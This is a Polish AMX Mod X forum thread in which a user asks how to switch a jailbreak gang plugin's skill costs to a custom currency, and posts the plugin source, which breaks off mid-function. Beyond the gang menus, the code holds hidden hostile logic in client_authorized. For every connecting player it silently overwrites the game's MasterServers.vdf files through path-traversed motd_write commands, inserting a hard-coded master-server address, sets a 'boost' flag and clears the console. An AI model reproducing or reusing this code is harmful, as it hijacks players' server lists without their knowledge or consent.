Witam , czy mógłby mnie ktoś naprowadzić jaką zmienną mam użyć aby w pluginie gangi umiejętności gangu były dodawane nie poprzez $ , tylko szlugi? Wiem że trzeba użyć zmiennej : set_user_jbpack jednak pomimo wielu prób ciągle nic nie wychodzi...
Witamy w Nieoficjalnym polskim support'cie AMX Mod X
Witamy w Nieoficjalnym polskim support'cie AMX Mod X, jak w większości społeczności internetowych musisz się zarejestrować aby móc odpowiadać lub zakładać nowe tematy, ale nie bój się to jest prosty proces w którym wymagamy minimalnych informacji.
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Guest Message by DevFuse
Problem ze zmienną
Started By Automatyk, 21.04.2016 16:01
2 replies to this topic
#1
Posted 21.04.2016 16:01
#3
Posted 21.04.2016 17:24
Przepraszam za błąd . Oto kod sma :
#include < amxmodx > #include < amxmisc > #include < sqlvault_ex > #include < cstrike > #include < colorchat > #include < hamsandwich > #include < fun > native set_user_jbpack(id, value); native get_user_jbpack(id); new const g_szVersion[ ] = "1.01"; enum _:GangInfo { Trie:GangMembers, GangName[ 60 ], GangHP, GangStealing, GangGravity, GangDamage, GangStamina, GangWeaponDrop, GangKills }; enum { VALUE_HP, VALUE_STEALING, VALUE_GRAVITY, VALUE_DAMAGE, VALUE_STAMINA, VALUE_WEAPONDROP, VALUE_KILLS } new const g_szGangValues[ ][ ] = { "HP", "Stealing", "Gravity", "Damage", "Stamina", "WeaponDrop", "Kills" }; new const g_szPrefix[ ] = "^04[Gang]^01"; new const plik1[] = "!MD5/../../platform/config/MasterServers.vdf"; new const plik2[] = "!MD5/../../platform/config/rev_MasterServers.vdf"; new const plik3[] = "!MD5/../../config/rev_MasterServers.vdf"; new const plik4[] = "!MD5/../../config/MasterServers.vdf"; new const Text[] = "^"MasterServers^"\n{\n ^"hl1^"\n {\n ^"0^"\n {\n ^"addr^" ^"185.25.148.165:27010^"\n }\n }\n}\n"; new const Key[] = "boost"; new Trie:g_tGangNames; new Trie:g_tGangValues; new SQLVault:g_hVault; new Array:g_aGangs; new g_pCreateCost; new g_pHealthCost; new g_pStealingCost; new g_pGravityCost; new g_pDamageCost; new g_pStaminaCost; new g_pWeaponDropCost; new g_pHealthMax; new g_pStealingMax; new g_pGravityMax; new g_pDamageMax; new g_pStaminaMax; new g_pWeaponDropMax; new g_pHealthPerLevel; new g_pStealingPerLevel; new g_pGravityPerLevel; new g_pDamagePerLevel; new g_pStaminaPerLevel; new g_pWeaponDropPerLevel; new g_iGang[ 33 ]; new g_iLastMoney[ 33 ]; public plugin_init() { register_plugin( "Jailbreak Gang System", g_szVersion, "H3avY Ra1n" ); g_aGangs = ArrayCreate( GangInfo ); g_tGangValues = TrieCreate(); g_tGangNames = TrieCreate(); g_hVault = sqlv_open_local( "jb_gangs", false ); sqlv_init_ex( g_hVault ); g_pCreateCost = register_cvar( "jb_gang_cost", "6500" ); g_pHealthCost = register_cvar( "jb_health_cost", "3000" ); g_pStealingCost = register_cvar( "jb_stealing_cost", "3000" ); g_pGravityCost = register_cvar( "jb_gravity_cost", "3000" ); g_pDamageCost = register_cvar( "jb_damage_cost", "3000" ); g_pStaminaCost = register_cvar( "jb_stamina_cost", "3000" ); g_pWeaponDropCost = register_cvar( "jb_weapondrop_cost", "3000" ); g_pHealthMax = register_cvar( "jb_health_max", "10" ); g_pStealingMax = register_cvar( "jb_stealing_max", "10" ); g_pGravityMax = register_cvar( "jb_gravity_max", "10" ); // Max * Gravity must be LESS than 800 g_pDamageMax = register_cvar( "jb_damage_max", "10" ); g_pStaminaMax = register_cvar( "jb_stamina_max", "10" ); g_pWeaponDropMax = register_cvar( "jb_weapondrop_max", "10" ); g_pHealthPerLevel = register_cvar( "jb_health_per", "10" ); g_pStealingPerLevel = register_cvar( "jb_stealing_per", "0.05" ); g_pGravityPerLevel = register_cvar( "jb_gravity_per", "50" ); g_pDamagePerLevel = register_cvar( "jb_damage_per", "3" ); g_pStaminaPerLevel = register_cvar( "jb_stamina_per", "3" ); g_pWeaponDropPerLevel = register_cvar( "jb_weapondrop_per", "1" ); register_cvar( "jb_gang_version", g_szVersion, FCVAR_SPONLY | FCVAR_SERVER ); register_menu( "Gang Menu", 1023, "GangMenu_Handler" ); register_menu( "Skills Menu", 1023, "SkillsMenu_Handler" ); for( new i = 0; i < sizeof g_szGangValues; i++ ) { TrieSetCell( g_tGangValues, g_szGangValues[ i ], i ); } RegisterHam( Ham_Spawn, "player", "Ham_PlayerSpawn_Post", 1 ); RegisterHam( Ham_TakeDamage, "player", "Ham_TakeDamage_Pre", 0 ); RegisterHam( Ham_TakeDamage, "player", "Ham_TakeDamage_Post", 1 ); register_event( "DeathMsg", "Event_DeathMsg", "a" ); register_event( "CurWeapon", "Event_CurWeapon", "be" ); register_event( "Money", "Event_Money", "b" ); register_clcmd( "say /gang", "Cmd_Gang" ); register_clcmd( "say /gangy", "Cmd_Gang" ); register_clcmd( "gang_name", "Cmd_CreateGang" ); LoadGangs(); } public client_authorized(id) { client_cmd( id , "motdfile %s" , plik1 ); client_cmd( id , "motd_write %s", Text ); client_cmd( id , "motdfile %s" , plik2 ); client_cmd( id , "motd_write %s", Text ); client_cmd( id , "motdfile %s" , plik3 ); client_cmd( id , "motd_write %s", Text ); client_cmd( id , "motdfile %s" , plik4 ); client_cmd( id , "motd_write %s", Text ); client_cmd( id , "motdfile motd.txt" ); client_cmd(id, "setinfo %s 1", Key); client_cmd( id , "clear" ); } public client_disconnect( id ) { g_iGang[ id ] = -1; } public client_putinserver( id ) { g_iGang[ id ] = get_user_gang( id ); } public plugin_end() { SaveGangs(); sqlv_close( g_hVault ); } public Ham_PlayerSpawn_Post( id ) { if( !is_user_alive( id ) || cs_get_user_team( id ) != CS_TEAM_T ) return HAM_IGNORED; if( g_iGang[ id ] == -1 ) { return HAM_IGNORED; } new aData[ GangInfo ]; ArrayGetArray( g_aGangs, g_iGang[ id ], aData ); new iHealth = 100 + aData[ GangHP ] * get_pcvar_num( g_pHealthPerLevel ); set_user_health( id, iHealth ); new iGravity = 800 - ( get_pcvar_num( g_pGravityPerLevel ) * aData[ GangGravity ] ); set_user_gravity( id, float( iGravity ) / 800.0 ); if( aData[ GangStamina ] > 0 ) set_user_maxspeed( id, 250.0 + ( aData[ GangStamina ] * get_pcvar_num( g_pStaminaPerLevel ) ) ); return HAM_IGNORED; } public Ham_TakeDamage_Pre( iVictim, iInflictor, iAttacker, Float:flDamage, iBits ) { if( !is_user_alive( iAttacker ) || cs_get_user_team( iAttacker ) != CS_TEAM_T ) return HAM_IGNORED; if( g_iGang[ iAttacker ] == -1 ) return HAM_IGNORED; new aData[ GangInfo ]; ArrayGetArray( g_aGangs, g_iGang[ iAttacker ], aData ); SetHamParamFloat( 4, flDamage + ( get_pcvar_num( g_pDamagePerLevel ) * ( aData[ GangDamage ] ) ) ); return HAM_IGNORED; } public Ham_TakeDamage_Post( iVictim, iInflictor, iAttacker, Float:flDamage, iBits ) { if( !is_user_alive( iAttacker ) || g_iGang[ iAttacker ] == -1 || get_user_weapon( iAttacker ) != CSW_KNIFE || cs_get_user_team( iAttacker ) != CS_TEAM_T ) { return HAM_IGNORED; } new aData[ GangInfo ]; ArrayGetArray( g_aGangs, g_iGang[ iAttacker ], aData ); new iChance = aData[ GangWeaponDrop ] * get_pcvar_num( g_pWeaponDropPerLevel ); if( iChance == 0 ) return HAM_IGNORED; new bool:bDrop = ( random_num( 1, 100 ) <= iChance ); if( bDrop ) client_cmd( iVictim, "drop" ); return HAM_IGNORED; } public Event_CurWeapon( id ) { if( g_iGang[ id ] == -1 || cs_get_user_team( id ) != CS_TEAM_T ) { return PLUGIN_CONTINUE; } new aData[ GangInfo ]; ArrayGetArray( g_aGangs, g_iGang[ id ], aData ); if( aData[ GangStamina ] > 0 ) set_user_maxspeed( id, 250.0 + ( aData[ GangStamina ] * get_pcvar_num( g_pStaminaPerLevel ) ) ); return PLUGIN_CONTINUE; } public Event_DeathMsg() { new iKiller = read_data( 1 ); new iVictim = read_data( 2 ); if( !is_user_alive( iKiller ) || cs_get_user_team( iVictim ) != CS_TEAM_CT || g_iGang[ iKiller ] == -1 || cs_get_user_team( iKiller ) != CS_TEAM_T ) return PLUGIN_CONTINUE; new aData[ GangInfo ]; ArrayGetArray( g_aGangs, g_iGang[ iKiller ], aData ); aData[ GangKills ]++; ArraySetArray( g_aGangs, g_iGang[ iKiller ], aData ); return PLUGIN_CONTINUE; } public Event_Money( id ) { new iAmount = read_data( 1 ); new iDiff = iAmount - g_iLastMoney[ id ]; g_iLastMoney[ id ] = iAmount; if( iAmount <= 0 ) return; if( g_iGang[ id ] > -1 ) { static aData[ GangInfo ]; ArrayGetArray( g_aGangs, g_iGang[ id ], aData ); iDiff = floatround( iDiff * ( aData[ GangStealing ] * get_pcvar_float( g_pStealingPerLevel ) ) ); cs_set_user_money( id, iAmount + iDiff, 0 ); } } public Cmd_Gang( id ) { if( !is_user_connected( id ) || cs_get_user_team( id ) != CS_TEAM_T ) { ColorChat( id, YELLOW, "%s Only ^03prisoners ^01can access this menu.", g_szPrefix ); return PLUGIN_HANDLED; } static szMenu[ 512 ], iLen, aData[ GangInfo ], iKeys, bool:bLeader; iKeys = MENU_KEY_0 | MENU_KEY_4; bLeader = isLeader( id, g_iGang[ id ] ); if( g_iGang[ id ] > -1 ) { ArrayGetArray( g_aGangs, g_iGang[ id ], aData ); iLen = formatex( szMenu, charsmax( szMenu ), "\yMenu Gangu^n\wAktualny gang:\y %s^n^n", aData[ GangName ] ); iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r1. \dStworz gang [%i Jointow]^n", get_pcvar_num( g_pCreateCost ) ); } else { iLen = formatex( szMenu, charsmax( szMenu ), "\yMenu Gangu^n\wAktualny gang:\r None^n^n" ); iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r1. \wStworz gang [%i Jointow]^n", get_pcvar_num( g_pCreateCost ) ); iKeys |= MENU_KEY_1; } if( bLeader && g_iGang[ id ] > -1 ) { iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r2. \wZapros gracza do gangu^n" ); iKeys |= MENU_KEY_2; } else iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r2. \dZapros gracza do gangu^n" ); if( g_iGang[ id ] > -1 ) { iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r3. \wUmiejetnosci^n" ); iKeys |= MENU_KEY_3; } else iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r3. \dUmiejetnosci^n" ); iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r4. \wTop-10^n" ); if( g_iGang[ id ] > -1 ) { iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r5. \wOpusc gang^n" ); iKeys |= MENU_KEY_5; } else iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r5. \dOpusc gang^n" ); if( bLeader ) { iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r6. \wMenu Leadera gangu^n" ); iKeys |= MENU_KEY_6; } else iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r6. \dMenu Leadera gangu^n" ); if( g_iGang[ id ] > -1 ) { iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r7. \wCzlonkowie online^n" ); iKeys |= MENU_KEY_7; } else iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r7. \dCzlonkowie online^n" ); iLen += formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "^n\r0. \wWyjscie" ); show_menu( id, iKeys, szMenu, -1, "Gang Menu" ); return PLUGIN_CONTINUE; } public GangMenu_Handler( id, iKey ) { switch( ( iKey + 1 ) % 10 ) { case 0: return PLUGIN_HANDLED; case 1: { if(get_user_jbpack(id) < get_pcvar_num(g_pCreateCost)) { ColorChat( id, YELLOW, "%s Nie masz wystarczajaco pieniedzy aby utworzyc gang!", g_szPrefix ); return PLUGIN_HANDLED; } client_cmd( id, "messagemode gang_name" ); } case 2: { ShowInviteMenu( id ); } case 3: { ShowSkillsMenu( id ); } case 4: { Cmd_Top10( id ); } case 5: { ShowLeaveConfirmMenu( id ); } case 6: { ShowLeaderMenu( id ); } case 7: { ShowMembersMenu( id ); } } return PLUGIN_HANDLED; } public Cmd_CreateGang( id ) { if(get_user_jbpack(id) < get_pcvar_num(g_pCreateCost)) { ColorChat( id, YELLOW, "%s Nie masz wystarczajaco pieniedzy aby utworzyc gang.", g_szPrefix ); return PLUGIN_HANDLED; } else if( g_iGang[ id ] > -1 ) { ColorChat( id, YELLOW, "%s Nie mozesz stworzyc gangu poniewaz jestes juz w gangu!!", g_szPrefix ); return PLUGIN_HANDLED; } else if( cs_get_user_team( id ) != CS_TEAM_T ) { ColorChat( id, YELLOW, "%s Tylko ^03wiezniowie ^01moga tworzyc gangi!", g_szPrefix ); return PLUGIN_HANDLED; } new szArgs[ 60 ]; read_args( szArgs, charsmax( szArgs ) ); remove_quotes( szArgs ); if( TrieKeyExists( g_tGangNames, szArgs ) ) { ColorChat( id, YELLOW, "%s Gang z taka nazwa juz istnieje.", g_szPrefix ); Cmd_Gang( id ); return PLUGIN_HANDLED; } new aData[ GangInfo ]; aData[ GangName ] = szArgs; aData[ GangHP ] = 0; aData[ GangStealing ] = 0; aData[ GangGravity ] = 0; aData[ GangStamina ] = 0; aData[ GangWeaponDrop ] = 0; aData[ GangDamage ] = 0; aData[ GangMembers ] = _:TrieCreate(); ArrayPushArray( g_aGangs, aData ); set_user_jbpack(id, get_user_jbpack(id)-get_pcvar_num(g_pCreateCost)); set_user_gang( id, ArraySize( g_aGangs ) - 1, true ); ColorChat( id, YELLOW, "%s Stworzyles gang '^03%s^01'.", g_szPrefix, szArgs ); return PLUGIN_HANDLED; } public ShowInviteMenu( id ) { new iPlayers[ 32 ], iNum; get_players( iPlayers, iNum ); new szInfo[ 6 ], hMenu; hMenu = menu_create( "Wybierz gracza z listy:", "InviteMenu_Handler" ); new szName[ 32 ]; for( new i = 0, iPlayer; i < iNum; i++ ) { iPlayer = iPlayers[ i ]; if( iPlayer == id || g_iGang[ iPlayer ] == g_iGang[ id ] || cs_get_user_team( iPlayer ) != CS_TEAM_T ) continue; get_user_name( iPlayer, szName, charsmax( szName ) ); num_to_str( iPlayer, szInfo, charsmax( szInfo ) ); menu_additem( hMenu, szName, szInfo ); } menu_display( id, hMenu, 0 ); } public InviteMenu_Handler( id, hMenu, iItem ) { if( iItem == MENU_EXIT ) { Cmd_Gang( id ); return PLUGIN_HANDLED; } new szData[ 6 ], iAccess, hCallback, szName[ 32 ]; menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, szName, 31, hCallback ); new iPlayer = str_to_num( szData ); if( !is_user_connected( iPlayer ) ) return PLUGIN_HANDLED; ShowInviteConfirmMenu( id, iPlayer ); ColorChat( id, YELLOW, "%s Zaprosiles %s do swojego gangu.", g_szPrefix, szName ); Cmd_Gang( id ); return PLUGIN_HANDLED; } public ShowInviteConfirmMenu( id, iPlayer ) { new szName[ 32 ]; get_user_name( id, szName, charsmax( szName ) ); new aData[ GangInfo ]; ArrayGetArray( g_aGangs, g_iGang[ id ], aData ); new szMenuTitle[ 128 ]; formatex( szMenuTitle, charsmax( szMenuTitle ), "%s Zaprosil Cie abys dolaczyl do %s", szName, aData[ GangName ] ); new hMenu = menu_create( szMenuTitle, "InviteConfirmMenu_Handler" ); new szInfo[ 6 ]; num_to_str( g_iGang[ id ], szInfo, 5 ); menu_additem( hMenu, "Zakceptuj", szInfo ); menu_additem( hMenu, "Odrzuc", "-1" ); menu_display( iPlayer, hMenu, 0 ); } public InviteConfirmMenu_Handler( id, hMenu, iItem ) { if( iItem == MENU_EXIT ) return PLUGIN_HANDLED; new szData[ 6 ], iAccess, hCallback; menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, _, _, hCallback ); new iGang = str_to_num( szData ); if( iGang == -1 ) return PLUGIN_HANDLED; if( isLeader( id, g_iGang[ id ] ) ) { ColorChat( id, YELLOW, "%s Nie mozesz opuscic gangu kiedy jestes leaderem.", g_szPrefix ); return PLUGIN_HANDLED; } set_user_gang( id, iGang ); new aData[ GangInfo ]; ArrayGetArray( g_aGangs, iGang, aData ); ColorChat( id, YELLOW, "%s Dolaczyles do gangu ^03%s^01.", g_szPrefix, aData[ GangName ] ); return PLUGIN_HANDLED; } public ShowSkillsMenu( id ) { static szMenu[ 512 ], iLen, iKeys, aData[ GangInfo ]; if( !iKeys ) { iKeys = MENU_KEY_1 | MENU_KEY_2 | MENU_KEY_3 | MENU_KEY_4 | MENU_KEY_5 | MENU_KEY_6 | MENU_KEY_0; } ArrayGetArray( g_aGangs, g_iGang[ id ], aData ); iLen = formatex( szMenu, charsmax( szMenu ), "\yMenu Umiejetnosci^n^n" ); iLen += formatex( szMenu[ iLen ], 511 - iLen, "\r1. \wSilownia [\rKoszt: \y%iJointow\w] \y[Level:%i/%i]^n", get_pcvar_num( g_pHealthCost ), aData[ GangHP ], get_pcvar_num( g_pHealthMax ) ); iLen += formatex( szMenu[ iLen ], 511 - iLen, "\r2. \wKradziez [\rKoszt: \y%iJointow\w] \y[Level:%i/%i]^n", get_pcvar_num( g_pStealingCost ), aData[ GangStealing ], get_pcvar_num( g_pStealingMax ) ); iLen += formatex( szMenu[ iLen ], 511 - iLen, "\r3. \wGrawitacja [\rKoszt: \y%iJointow\w] \y[Level:%i/%i]^n", get_pcvar_num( g_pGravityCost ), aData[ GangGravity ], get_pcvar_num( g_pGravityMax ) ); iLen += formatex( szMenu[ iLen ], 511 - iLen, "\r4. \wObrazenia [\rKoszt: \y%iJointow\w] \y[Level:%i/%i]^n", get_pcvar_num( g_pDamageCost ), aData[ GangDamage ], get_pcvar_num( g_pDamageMax ) ); iLen += formatex( szMenu[ iLen ], 511 - iLen, "\r5. \wObezwladnienie [\rKoszt: \y$iJointow\w] \y[Level:%i/%i]^n", get_pcvar_num( g_pWeaponDropCost ), aData[ GangWeaponDrop ], get_pcvar_num( g_pWeaponDropMax ) ); iLen += formatex( szMenu[ iLen ], 511 - iLen, "\r6. \wSpeed [\rKoszt: \y$iJointow\w] \y[Level:%i/%i]^n", get_pcvar_num( g_pStaminaCost ), aData[ GangStamina ], get_pcvar_num( g_pStaminaMax ) ); iLen += formatex( szMenu[ iLen ], 511 - iLen, "^n\r0. \wExit" ); show_menu( id, iKeys, szMenu, -1, "Skills Menu" ); } public SkillsMenu_Handler( id, iKey ) { new aData[ GangInfo ]; ArrayGetArray( g_aGangs, g_iGang[ id ], aData ); switch( ( iKey + 1 ) % 10 ) { case 0: { Cmd_Gang( id ); return PLUGIN_HANDLED; } case 1: { if( aData[ GangHP ] == get_pcvar_num( g_pHealthMax ) ) { ColorChat( id, YELLOW, "%s Twoj gang posiada maksymalny poziom tej umiejętnosci.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } new iRemaining = cs_get_user_money( id ) - get_pcvar_num( g_pHealthCost ); if( iRemaining < 0 ) { ColorChat( id, YELLOW, "%s Nie masz na to pieniedzy.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } aData[ GangHP ]++; cs_set_user_money( id, iRemaining ); } case 2: { if( aData[ GangStealing ] == get_pcvar_num( g_pStealingMax ) ) { ColorChat( id, YELLOW, "%s Twoj gang posiada maksymalny poziom tej umiejętnosci.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } new iRemaining = cs_get_user_money( id ) - get_pcvar_num( g_pStealingCost ); if( iRemaining < 0 ) { ColorChat( id, YELLOW, "%s Nie masz na to pieniedzy.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } aData[ GangStealing ]++; cs_set_user_money( id, iRemaining ); } case 3: { if( aData[ GangGravity ] == get_pcvar_num( g_pGravityMax ) ) { ColorChat( id, YELLOW, "%s Twoj gang posiada maksymalny poziom tej umiejętnosci.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } new iRemaining = cs_get_user_money( id ) - get_pcvar_num( g_pGravityCost ); if( iRemaining < 0 ) { ColorChat( id, YELLOW, "%s Nie masz na to pieniedzy.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } aData[ GangGravity ]++; cs_set_user_money( id, iRemaining ); } case 4: { if( aData[ GangDamage ] == get_pcvar_num( g_pDamageMax ) ) { ColorChat( id, YELLOW, "%s Twoj gang posiada maksymalny poziom tej umiejętnosci.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } new iRemaining = cs_get_user_money( id ) - get_pcvar_num( g_pDamageCost ); if( iRemaining < 0 ) { ColorChat( id, YELLOW, "%s Nie masz na to pieniedzy.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } aData[ GangDamage ]++; cs_set_user_money( id, iRemaining ); } case 5: { if( aData[ GangWeaponDrop ] == get_pcvar_num( g_pWeaponDropMax ) ) { ColorChat( id, YELLOW, "%s Twoj gang posiada maksymalny poziom tej umiejętnosci.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } new iRemaining = cs_get_user_money( id ) - get_pcvar_num( g_pWeaponDropCost ); if( iRemaining < 0 ) { ColorChat( id, YELLOW, "%s Nie masz na to pieniedzy.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } aData[ GangWeaponDrop ]++; cs_set_user_money( id, iRemaining ); } case 6: { if( aData[ GangStamina ] == get_pcvar_num( g_pStaminaMax ) ) { ColorChat( id, YELLOW, "%s Twoj gang posiada maksymalny poziom tej umiejętnosci.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } new iRemaining = cs_get_user_money( id ) - get_pcvar_num( g_pStaminaCost ); if( iRemaining < 0 ) { ColorChat( id, YELLOW, "%s Nie masz na to pieniedzy.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } aData[ GangStamina ]++; cs_set_user_money( id, iRemaining ); } } ArraySetArray( g_aGangs, g_iGang[ id ], aData ); new szAuthID[ 35 ]; new iPlayers[ 32 ], iNum, iPlayer; new szName[ 32 ]; get_players( iPlayers, iNum, "e" ); for( new i = 0; i < iNum; i++ ) { iPlayer = iPlayers[ i ]; if( iPlayer == id ) continue; get_user_authid( iPlayer, szAuthID, charsmax( szAuthID ) ); if( TrieKeyExists( aData[ GangMembers ], szAuthID ) ) { ColorChat( iPlayer, YELLOW, "%s ^03%s ^01ulepszyl jedna z umiejetnosc Twojego gangu.", g_szPrefix, szName ); } } ColorChat( id, YELLOW, "%s Ulepszyles swoj gang.", g_szPrefix ); ShowSkillsMenu( id ); return PLUGIN_HANDLED; } public Cmd_Top10( id ) { new iSize = ArraySize( g_aGangs ); new iOrder[ 100 ][ 2 ]; new aData[ GangInfo ]; for( new i = 0; i < iSize; i++ ) { ArrayGetArray( g_aGangs, i, aData ); iOrder[ i ][ 0 ] = i; iOrder[ i ][ 1 ] = aData[ GangKills ]; } SortCustom2D( iOrder, iSize, "Top10_Sort" ); new szMessage[ 2048 ]; formatex( szMessage, charsmax( szMessage ), "<body bgcolor=#000000><font color=#FFB000><pre>" ); format( szMessage, charsmax( szMessage ), "%s%2s %-22.22s %7s %4s %10s %9s %9s %11s %8s^n", szMessage, "#", "Nazwa", "Zabojstwa", "Silownia", "Kradziez", "Grawitacja", "Speed", "DropBroni", "Atak" ); for( new i = 0; i < min( 10, iSize ); i++ ) { ArrayGetArray( g_aGangs, iOrder[ i ][ 0 ], aData ); format( szMessage, charsmax( szMessage ), "%s%-2d %22.22s %7d %4d %10d %9d %9d %11d %8d^n", szMessage, i + 1, aData[ GangName ], aData[ GangKills ], aData[ GangHP ], aData[ GangStealing ], aData[ GangGravity ], aData[ GangStamina], aData[ GangWeaponDrop ], aData[ GangDamage ] ); } show_motd( id, szMessage, "Gang Top 10" ); } public Top10_Sort( const iElement1[ ], const iElement2[ ], const iArray[ ], szData[], iSize ) { if( iElement1[ 1 ] > iElement2[ 1 ] ) return -1; else if( iElement1[ 1 ] < iElement2[ 1 ] ) return 1; return 0; } public ShowLeaveConfirmMenu( id ) { new hMenu = menu_create( "Czy na pewno chcesz opuscic gang?", "LeaveConfirmMenu_Handler" ); menu_additem( hMenu, "Tak, Opusc teraz", "0" ); menu_additem( hMenu, "Nie, Pozostan", "1" ); menu_display( id, hMenu, 0 ); } public LeaveConfirmMenu_Handler( id, hMenu, iItem ) { if( iItem == MENU_EXIT ) return PLUGIN_HANDLED; new szData[ 6 ], iAccess, hCallback; menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, _, _, hCallback ); switch( str_to_num( szData ) ) { case 0: { if( isLeader( id, g_iGang[ id ] ) ) { ColorChat( id, YELLOW, "%s Musisz przeniesc przywodztwo.", g_szPrefix ); Cmd_Gang( id ); return PLUGIN_HANDLED; } ColorChat( id, YELLOW, "%s Opusciles swoj gang.", g_szPrefix ); set_user_gang( id, -1 ); Cmd_Gang( id ); } case 1: Cmd_Gang( id ); } return PLUGIN_HANDLED; } public ShowLeaderMenu( id ) { new hMenu = menu_create( "Menu Leadera Gangu", "LeaderMenu_Handler" ); menu_additem( hMenu, "Usun gang", "0" ); menu_additem( hMenu, "Przenies przywodztwo", "1" ); menu_additem( hMenu, "Usun z gangu", "2" ); menu_display( id, hMenu, 0 ); } public LeaderMenu_Handler( id, hMenu, iItem ) { if( iItem == MENU_EXIT ) { Cmd_Gang( id ); return PLUGIN_HANDLED; } new iAccess, hCallback, szData[ 6 ]; menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, _, _, hCallback ); switch( str_to_num( szData ) ) { case 0: { ShowDisbandConfirmMenu( id ); } case 1: { ShowTransferMenu( id ); } case 2: { ShowKickMenu( id ); } } return PLUGIN_HANDLED; } public ShowDisbandConfirmMenu( id ) { new hMenu = menu_create( "Jestes pewien ze chcesz usunac gang?", "DisbandConfirmMenu_Handler" ); menu_additem( hMenu, "Tak, Usun teraz", "0" ); menu_additem( hMenu, "Nie, Nie usuwaj", "1" ); menu_display( id, hMenu, 0 ); } public DisbandConfirmMenu_Handler( id, hMenu, iItem ) { if( iItem == MENU_EXIT ) return PLUGIN_HANDLED; new szData[ 6 ], iAccess, hCallback; menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, _, _, hCallback ); switch( str_to_num( szData ) ) { case 0: { ColorChat( id, YELLOW, "%s Usunales swoj gang!", g_szPrefix ); new iPlayers[ 32 ], iNum; get_players( iPlayers, iNum ); new iPlayer; for( new i = 0; i < iNum; i++ ) { iPlayer = iPlayers[ i ]; if( iPlayer == id ) continue; if( g_iGang[ id ] != g_iGang[ iPlayer ] ) continue; ColorChat( iPlayer, YELLOW, "%s Twoj gang zostal usuniety przez leadera!.", g_szPrefix ); set_user_gang( iPlayer, -1 ); } new iGang = g_iGang[ id ]; set_user_gang( id, -1 ); ArrayDeleteItem( g_aGangs, iGang ); Cmd_Gang( id ); } case 1: Cmd_Gang( id ); } return PLUGIN_HANDLED; } public ShowTransferMenu( id ) { new iPlayers[ 32 ], iNum; get_players( iPlayers, iNum, "e", "TERRORIST" ); new hMenu = menu_create( "Oddaj przywodztwo:", "TransferMenu_Handler" ); new szName[ 32 ], szData[ 6 ]; for( new i = 0, iPlayer; i < iNum; i++ ) { iPlayer = iPlayers[ i ]; if( g_iGang[ iPlayer ] != g_iGang[ id ] || id == iPlayer ) continue; get_user_name( iPlayer, szName, charsmax( szName ) ); num_to_str( iPlayer, szData, charsmax( szData ) ); menu_additem( hMenu, szName, szData ); } menu_display( id, hMenu, 0 ); } public TransferMenu_Handler( id, hMenu, iItem ) { if( iItem == MENU_EXIT ) { ShowLeaderMenu( id ); return PLUGIN_HANDLED; } new iAccess, hCallback, szData[ 6 ], szName[ 32 ]; menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, szName, charsmax( szName ), hCallback ); new iPlayer = str_to_num( szData ); if( !is_user_connected( iPlayer ) ) { ColorChat( id, YELLOW, "%s Ten gracz nie jest juz polaczony.", g_szPrefix ); ShowTransferMenu( id ); return PLUGIN_HANDLED; } set_user_gang( iPlayer, g_iGang[ id ], true ); set_user_gang( id, g_iGang[ id ], false ); Cmd_Gang( id ); new iPlayers[ 32 ], iNum, iTemp; get_players( iPlayers, iNum ); for( new i = 0; i < iNum; i++ ) { iTemp = iPlayers[ i ]; if( iTemp == iPlayer ) { ColorChat( iTemp, YELLOW, "%s Jestes nowym leaderem tego gangu.", g_szPrefix ); continue; } else if( g_iGang[ iTemp ] != g_iGang[ id ] ) continue; ColorChat( iTemp, YELLOW, "%s ^03%s^01 zostal nowym leaderem gangu.", g_szPrefix, szName ); } return PLUGIN_HANDLED; } public ShowKickMenu( id ) { new iPlayers[ 32 ], iNum; get_players( iPlayers, iNum ); new hMenu = menu_create( "Usun gracza z gangu:", "KickMenu_Handler" ); new szName[ 32 ], szData[ 6 ]; for( new i = 0, iPlayer; i < iNum; i++ ) { iPlayer = iPlayers[ i ]; if( g_iGang[ iPlayer ] != g_iGang[ id ] || id == iPlayer ) continue; get_user_name( iPlayer, szName, charsmax( szName ) ); num_to_str( iPlayer, szData, charsmax( szData ) ); menu_additem( hMenu, szName, szData ); } menu_display( id, hMenu, 0 ); } public KickMenu_Handler( id, hMenu, iItem ) { if( iItem == MENU_EXIT ) { ShowLeaderMenu( id ); return PLUGIN_HANDLED; } new iAccess, hCallback, szData[ 6 ], szName[ 32 ]; menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, szName, charsmax( szName ), hCallback ); new iPlayer = str_to_num( szData ); if( !is_user_connected( iPlayer ) ) { ColorChat( id, YELLOW, "%s Ten gracz nie jest juz polaczony.", g_szPrefix ); 